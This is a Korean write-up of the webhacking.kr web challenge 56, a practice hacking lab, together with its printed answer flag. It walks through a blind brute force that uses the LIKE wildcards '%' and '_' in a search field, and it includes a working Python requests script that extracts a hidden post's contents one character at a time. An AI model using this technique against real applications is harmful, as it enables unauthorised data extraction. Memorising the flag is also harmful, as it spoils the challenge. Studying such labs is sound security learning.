https://webhacking.kr/challenge/web-33/index.php
Challenge 56
webhacking.kr
[문제]
[풀이]
테이블이 있고 search를 입력할 수 있다.
hi는 hello~를 출력하고
readme는 읽기를 거부당했다.
secret이 1로 설정되어있는걸 보면 내부에 로직이 따로 있나보다.
saerch에
문자를 하나씩 집어 넣어 봤는데
특정 문자, 문자열에 반응한다.
그래서 보면 hi~에 있는 문자열을 입력해보면 반응한다.
search는 subject 안에 있는 데이터를 비교연산해서 문자열이 포함되어 있다면 컬럼을 출력해주는 것 같다.
그럼 이 정보를 바탕으로 brute force로 문자열을 구하면 될 것 같다.
readme에 FLAG{}형식이 있을거라 판단했다.
빙고~ 이 뒤 문자는 exploit 코드로 반복 돌려보자.
그런데 이유는 모르겠으나 왜인지 % 문자가 들어가면 true로 쿼리 결과가 나오는 것 같다.
그래서 % 기호를 제외 처리하고 돌려본다.
import requests
url = 'https://webhacking.kr/challenge/web-33/index.php'
cookie = {
'PHPSESSID':'세션쿠키값'
}
flag = 'FLAG{'
while '}' not in flag:
for i in range(0x20, 0x80):
if(chr(i) == '%'): i+=1
else:
data = {
'search': {flag + chr(i)}
}
res = requests.post(url, data=data)
print(f'flag: {flag+chr(i)}')
if 'readme' in res.text:
flag+=chr(i)
break
위 코드에서 더이상 진행이 되지 않는다.
그래서 끊긴 부분을 직접 대입해서 테스트 해보니
_대신 }를 사용해도 쿼리 결과가 나온다.
이 플래그를 그대로 제출하면 문제가 풀리지 않는다.
계속 시도 해보다가 소문자로 바꾸어 보았는데 대문자 소문자 구분을 안한다는 것을 알았다.
제출하면 문제가 풀린다.
## 추가 풀이
1. FLAG를 다시 대문자로 작성해서 제출했는데
풀린다 ㅇㅅㅇ
2. 문제를 푼 뒤 마지막에 _가 나온 이유가 궁금해서 풀이를 살펴보니
_가 와일드 카드로 쓰였다고 한다.
그래서 _를 FLAG 수만큼 작성하면 쿼리 결과가 나온다.
아마 글자 수를 구할 때 쓰라는 용도 같다.
3. %는 모든 임의의 문자열을 의미해서 안써서 푸는게 맞았던 것 같다.
[FLAG]
FLAG{himiko_toga_is_cute_dont_you_think_so?}